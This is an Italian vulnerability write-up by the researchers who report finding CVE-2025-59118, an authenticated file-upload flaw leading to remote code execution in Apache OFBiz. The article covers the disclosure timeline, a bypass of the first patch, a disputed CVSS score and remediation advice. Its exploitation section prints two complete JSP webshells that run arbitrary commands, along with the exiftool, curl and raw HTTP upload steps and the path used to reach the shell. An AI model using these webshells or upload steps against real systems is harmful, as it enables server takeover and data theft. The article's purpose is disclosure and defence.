Apache OFBiz: il bug ‘banale’ che nascondeva una RCE (e che tutti hanno raccontato male)

Nel 2025 il team di Red Hive, ha scoperto la CVE-2025-59118 in Apache OFBiz. Nonostante venga descritta come una semplice vulnerabilità di upload file, l’analisi mostra che può portare facilmente all’esecuzione di codice arbitrario (RCE), dettaglio mai evidenziato ufficialmente. Nel tempo sono stati circolati PoC, interpretazioni errate e valutazioni CVSS discutibili, generando confusione. L’articolo ricostruisce la vulnerabilità originale e spiega anche come le prime patch siano state aggirate.

Apache OFBiz è un sistema ERP (Enterprise Resource Planning) open source il quale fornisce applicazioni aziendali per aree quali contabilità, CRM, gestione degli ordini, magazzino, produzione e MRP (Material Requirements Planning). OFBiz è un progetto di alto livello della Apache Software Foundation.

L’articolo che segue è stato fornito a Red Hot Cyber dal Red Hive team che pubblichiamo integralmente.

Nel 2025 il team di Red Hive ha identificato una vulnerabilità in Apache OFBiz, tracciata come CVE-2025-59118. Siamo stati deliziati [/s] nel vedere circolare negli ultimi mesi articoli con proof-of-concept completamente inventati, payload AI-hallucinated e interpretazioni tecniche creative di questa vulnerabilità. A completare il quadro, il CVSS assegnato successivamente introduce assunzioni tecnicamente errate.

Il risultato di tutta questa confusione è che, per il mondo, CVE-2025-59118 è quanto segue.Citando NVD: “Unrestricted Upload of File with Dangerous Type vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.03. Users are recommended to upgrade to version 24.09.03, which fixes the issue.”

Tutto sommato pare una cosa tranquilla.

In questo articolo ricostruiremo la vulnerabilità dal punto di vista di chi l’ha trovata, spiegando come la issue porti con una certa semplicità all’esecuzione di codice arbitrario (fatto mai menzionato ufficialmente, non era importante probabilmente) per poi passare al come sono state aggirate le prime patch.

Timeline

• Prima disclosure da parte nostra: 29 agosto 2025
• Prima risposta dei developer di Apache: 3 settembre 2025
• Vulnerabilità confermata e CVE number riservato: 9 settembre 2025
• Primo patch rilasciato dai developer: 10 settembre 2025
• Bypass del primo patch da parte nostra: 11 settembre 2025
• Secondo patch rilasciato dai developer: 19 settembre 2025

Sfruttamento della vulnerabilità

La problematica in questione si trova nell’endpoint: /catalog/control/addImageForProduct

Quest’ultimo può essere utilizzato da qualunque utente autenticato che disponga almeno dei seguenti privilegi:

• CATALOG_CREATE
• CONTENTMGR_CREATE
• CONTENTMGR_UPDATE

Da questa pagina è possibile caricare una o più immagini:

In questo scenario, l’applicazione valida soltanto il MIME type dichiarato del file caricato (ad esempioimage/png) non imponendorestrizioni efficaci sull’estensione del file. C’è però una limitazione: il file deve essere un’immagine valida, altrimenti l’upload fallisce.

Ma un file può essere contemporaneamente un’immagine valida e un file JSP valido? Assolutamente si. Questo tipo di file viene solitamente definito polyglot. Nel primo scenario di exploit, abbiamo sfruttato i metadata dell’immagine. Inserendo una JSP webshell nel campo ExifComment di una immagine PNG valida, è possibile superare il controllo lato applicazione e ottenere un file che viene caricato come immagine, ma salvato ed eseguito come JSP.

Partiamo da un’immagine PNG valida,warningcurl.png, usata come base per la PoC. Per inserire la webshell utilizzeremo exiftool, con il comando seguente:

exiftool -Comment='<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {String all="Command: " + request.getParameter("cmd") + "<BR>";Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {all+=disr;disr = dis.readLine();}out.println("<script>document.body.innerHTML = ``;document.write(atob(`"+Base64.getEncoder().encodeToString(all.getBytes("UTF-8"))+"`));document.close();</script>");return;}%>' warningcurl.png

Una volta modificata l’immagine, è possibile caricarla tramite una richiesta multipart, dichiarando un MIME type valido ma forzando il filename con estensione.jsp.

curl -sk -b $'JSESSIONID=[SNIP]' -F "productId=[SNIP]" -F "[email protected];filename=warningcurl.jsp;type=image/png" https://localhost:8443/catalog/control/addImageForProduct

Questo è un esempio di richiesta in formato RAW. Il dettaglio importante è la combinazione traContent-Type: image/png efilename=”warningcurl.jsp”.

POST /catalog/control/addImageForProduct HTTP/2
Host: localhost:8443
Cookie: JSESSIONID=[SNIP];
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDDW4l0NGJhqdkBnE

------WebKitFormBoundaryDDW4l0NGJhqdkBnE
Content-Disposition: form-data; name="productId"

[SNIP]
------WebKitFormBoundaryDDW4l0NGJhqdkBnE
Content-Disposition: form-data; name="additionalImageOne"; filename="warningcurl.jsp"
Content-Type: image/png

[IMAGE CONTENT]
------WebKitFormBoundaryDDW4l0NGJhqdkBnE--

Dopo l’upload, la webshell risulta accessibile al seguente path: /images/products/management/[PRODUCT-ID]/warningcurl.jsp?cmd=id

Una volta caricato, il file JSP diventa direttamente accessibile ed eseguibile senza autenticazione, introducendo anche una forma di persistenza post-exploitation.

Una nota pratica:

Non tutte le immagini PNG funzionano allo stesso modo. Alcuni byte presenti nel contenuto dell’immagine possono interferire con la sintassi JSP e rompere l’esecuzione del payload.

Per questo motivo, nella PoC originale abbiamo usato una immagine “farcita” costruita appositamente per mantenere sia la validità PNG sia la validità JSP.

Perché la prima patch non ha funzionato

I developer di Apache OFBiz sono stati informati rapidamente e hanno rilasciato una prima patch in pochi giorni. Quest’ultima eliminava i metadata potenzialmente dannosi dall’immagine caricata, rimuovendo quindi il canale usato dalla prima PoC per trasportare il payload JSP.

Il problema, tuttavia, è che i metadata non sono l’unico modo per costruire una immagine polyglot. Anche l’image data può essere usata per ottenere un risultato simile, anche se la costruzione del file è più complessa.

Qui entra in gioco lo script Python tweetable-polyglot-png di DavidBuchanan314. (https://github.com/DavidBuchanan314/tweetable-polyglot-png/blob/main/pack.py) :

python3 pack.py warningcurl.png webshell.jsp warning_plusplus.png

Dove:

• warningcurl.png è l’immagine valida usata per costruire la prima PoC;
• webshell.jsp è il payload JSP;
• warning_plusplus.png è il file polyglot risultante.

Il contenuto di webshell.jsp era il seguente. Non si tratta di una webshell JSP standard: è stato necessario modificare alcuni caratteri per evitare syntax error nel file polyglot risultante.

<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {String all="Command: " + request.getParameter("cmd") + "<BR>";Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {all+=disr;disr =dis.readLine();}out.println("><script>document.body.innerHTML = atob(`"+Base64.getEncoder().encodeToString(all.getBytes("UTF-8"))+"`);</script>");return;}%>

Dato che il nuovo payload non dipende più dai metadatarimossi dal patch, la prima patch può considerarsi aggirata. Il bypass è stato comunicato ai developer, che hanno successivamente rilasciato una seconda patch per chiudere definitivamente la issue.

Considerazioni sull’impatto

Cosa abbiamo visto? Che il vero impatto nasce dalla combinazione di tre elementi:

• un endpoint raggiungibile da utenti autenticati con privilegi limitati;
• una validazione basata sul MIME type dichiarato e sulla validità dell’immagine;
• la possibilità di ottenere un file JSP eseguibile e raggiungibile via HTTP.

che portano all’esecuzione di codice arbitrario sul sistema operativo.

Possiamo quindi passare al….

CVSS Debunking

Il punto più interessante della storia. Il vettore attualmente associato alla vulnerabilità è:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Severity 7.3 High. Peccato che:

• PR (Privileges Required)non è NONE

Serve un utente autenticato con privilegi limitati: Quindi LOW. Per fortuna.

• Scope (S)è CHANGED.

Dato che il suo sfruttamento consente di uscire dal perimetro applicativo e raggiungere il sistema operativo.

• Impact (C/I/A)non è LOW

Crediamo che Confidentiality, Integritye Availability possano essere considerate HIGH senza troppo imbarazzo. Abbiamo esecuzione di codice arbitrario sul sistema operativo, l’accesso read/write ai dati e la possibilità di spegnere OfBiz.

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

9.9 Critical pare più coerente.

Remediation

Gli utenti di Apache OFBiz dovrebbero essere già passati alla versione 24.09.03 o successiva (si spera), verificando che le fix relative a CVE-2025-59118 siano effettivamente presenti nella propria installazione. In generale, gli upload di file dovrebbero essere gestiti applicando controlli multilivello:

• validazione server-side dell’estensione consentita;
• validazione reale del contenuto, non soltanto del MIME type dichiarato;
• normalizzazione e riscrittura sicura dei file caricati;
• salvataggio fuori dalla webroot quando possibile;
• disabilitazione dell’esecuzione di script nelle directory di upload;
• enforcement di allowlist strette per filename, path e content type.

Ringraziamenti

Kudos ai developer di Apache OFBiz per la rapidità e la disponibilità dimostrate durante il processo di disclosure e remediation. Un po’ meno a chi ha successivamente ritarato il CVSS in modo poco allineato alla realtà tecnica.

Redazione

La Redazione di Red Hot Cyber fornisce aggiornamenti quotidiani su bug, data breach e minacce globali. Ogni contenuto è validato dalla nostra community di esperti come Pietro Melillo, Massimiliano Brolli, Sandro Sana, Olivia Terragni e Stefano Gazzella. Grazie alla sinergia con i nostri Partner leader nel settore (tra cui Accenture, CrowdStrike, Trend Micro e Fortinet), trasformiamo la complessità tecnica in consapevolezza collettiva, garantendo un'informazione accurata basata sull'analisi di fonti primarie e su una rigorosa peer-review tecnica.